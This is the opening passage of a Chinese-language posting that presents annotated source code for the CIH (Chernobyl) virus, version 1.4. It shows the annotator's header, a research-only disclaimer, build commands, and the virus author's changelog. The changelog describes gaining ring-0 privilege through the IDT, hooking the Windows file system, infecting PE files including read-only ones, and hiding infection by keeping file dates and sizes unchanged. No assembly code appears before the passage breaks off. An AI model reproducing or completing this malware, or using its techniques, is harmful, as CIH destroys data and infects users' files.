CIH源码及中文注释.docVIP

CIH源码及中文注释 ;日期:2002/5/10　　　　　　　　　　　　　　　　　　　　　　　　文章出处:UnKnow ;标题:CIH病毒1.4版本之中文注释　作者:邹丹 ;CIH病毒1.4版本之中文注释由邹丹编写完成于1999-4-09 ;源程序中的英文注释未作修改,全部保留 ;电子邮件: zd_dan@263.net ;个人主页: zdweb.yeah.net ;本人所编写之注释仅供研究之用，如作其他用途，概于本人无关！！！ ;!!!!!!后附精彩后记,敬请留意!!!!!! ; **************************************************************************** ; * The Virus Program Information * ; **************************************************************************** ; * * ; * Designer : CIH Source : TTIT of TATUNG in Taiwan * ; * Create Date : 04/26/1998 Now Version : 1.4 * ; * Modification Time : 05/31/1998 * ; * * ; * Turbo Assembler Version 4.0 : tasm /m cih * ; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe * ;编译连接方法 ; * * ;使用的是TurboAssembler ; *==========================================================================* ;可在Borland C++ 3.1中找到 ; * Modification History * ; *==========================================================================* ; * v1.0 1. Create the Virus Program. * ; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * ; * 04/26/1998 3. Virus Code doesnt Reload into System. * ; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * ; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * ; * 6. When System Opens Existing PE File, the File will be * ; * Infected, and the File doesnt be Reinfected. * ; * 7. It is also Infected, even the File is Read-Only. * ; * 8. When the File is Infected, the Modification Date and Time * ; * of the File also dont be Changed. * ; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * ; * Previous FileSystemApiHook, it will Call the Function * ; * that the IFS Manager Would Normally Call to Implement * ; * this Particular I/O Request. * ; * 10. The Virus Size is only 656 Bytes. * ; *==========================================================================* ; * v1.1 1. Especially, the File that be Infected will not Increase * ; * its Size... ^__^ * ; * 05/15/1998 2. Hook